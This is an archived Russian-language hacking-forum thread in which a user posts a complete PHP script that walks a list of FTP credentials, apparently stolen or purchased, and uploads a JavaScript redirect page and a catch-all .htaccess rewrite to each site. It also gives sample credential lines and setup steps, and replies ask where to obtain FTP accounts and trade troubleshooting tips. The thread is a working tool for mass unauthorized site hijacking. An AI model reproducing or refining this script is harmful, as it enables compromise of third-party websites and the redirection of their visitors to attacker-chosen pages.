PDA

Просмотр полной версии : Скрипт для массовой заливки редиректеров на FTP


Chaak
03.11.2008, 16:48
Описание:
Скрипт обходит лист с фтп,
заливает страницу с редиректом и .htaccess, который перенаправляет все обращения к сайту на скрипт редиректа.

Установка:
Лист с фтп должен быть вида(ftp.txt):
ftp://7kssir:k1@kliss.moy.su:21
ftp://7sela:selna1405@sele.moy.su:21
Сам скрипт:
<?php
set_time_limit(0);
ob_implicit_flush();

$ftps = file('ftp.txt'); #Лист с FTP
$namef = 'index.html'; #Файл для загрузки
$limit = count($ftps); #Кол-во фтп для закачки(в данном случае все)
$sleep = 1; #Задержка в секундах


$f2load = fopen($namef,'r');
$ht = fopen('1.htaccess','r');
$count = 0; #Кол-во валидных FTP.

foreach($ftps as $ftp)
{
#если достигнут лимит фрейма, то завершаем цикл
if($limit == $count)
{
break;
}
$ftp = trim($ftp);
$link = $ftp."/$namef";
$ch = curl_init($link);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_UPLOAD,1);
curl_setopt($ch,CURLOPT_INFILE,$f2load);
curl_setopt($ch,CURLOPT_FTPASCII,1);
curl_exec($ch);

curl_setopt($ch,CURLOPT_URL,$ftp.'/.htaccess');
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_UPLOAD,1);
curl_setopt($ch,CURLOPT_INFILE,$ht);
curl_setopt($ch,CURLOPT_FTPASCII,1);
curl_exec($ch);
curl_close($ch);

write('<a href="'.$link.'" target="_blank">[Ссылка]</a> до файла на '.$ftp.'');

$count++; #прибавляем кол-во обработанных фтп
sleep($sleep);
}
echo 'Обработано: '.$count.' ftp';

fclose($f2load);
fclose($ht);

function write($text)
{
echo $text.'<br>';
flush();
ob_flush();
}
?>
Необходимо создать в папке cо скриптом текстовый документ 1.htaccess следующего содержания:
RewriteEngine on
RewriteRule ^(.*)$ index.html

И еще один файл index.html с кодом редиректа.
Пример:
<script>document.location.href="ссылка для редиректа";</script>


Требует наличия cURL на сервере. Подойдет WAMPSERVER (http://wampserver.com/) с включенным cURL.

P.S FTP можно купить, можно насобирать в раздачах.
P.P.S аналогичная программа продается за 200 wmz =)

попугай
03.11.2008, 17:00
неплохо, вот тока где взять фтп столько..?

Dimi4
03.11.2008, 23:33
Чаак крутой кодер) всё гуд

fasty
12.11.2008, 10:44
как прописать редикт в index.html и в 1.htaccess?Пример нужен.

combatsxx
13.11.2008, 09:50
>fasty
в .htaccess можно так Redirect / http://mail.ru/?

sa~
14.11.2008, 00:56
Чаак ты сам тестил его? У меня если в списке больше 20 фтп то не заливает хз чё такое=\ Какую оптимальную ставить задержку?

sa~
14.11.2008, 13:56
Все работало, тестил. Оптимальная задержка - 0-2 секунды.
Что пишет скрипт?
Да ничё не пишет) Скрипт перестаёт грузится и страница чистая...

sa~
14.11.2008, 18:11
Кэш вывода на сервере большой, наверное. Проверь заливает ли файлы?
Короче трабл в том что не на каждое фтп заливается файл хз почему =\ фтп валидное=\ Если сам отчекаю (т.е. выберу более ли менее нормальные хосты) фтп то тогда нормально льёт...

combatsxx
15.11.2008, 03:37
пасиб

blade2008
06.01.2010, 14:22
Спасибо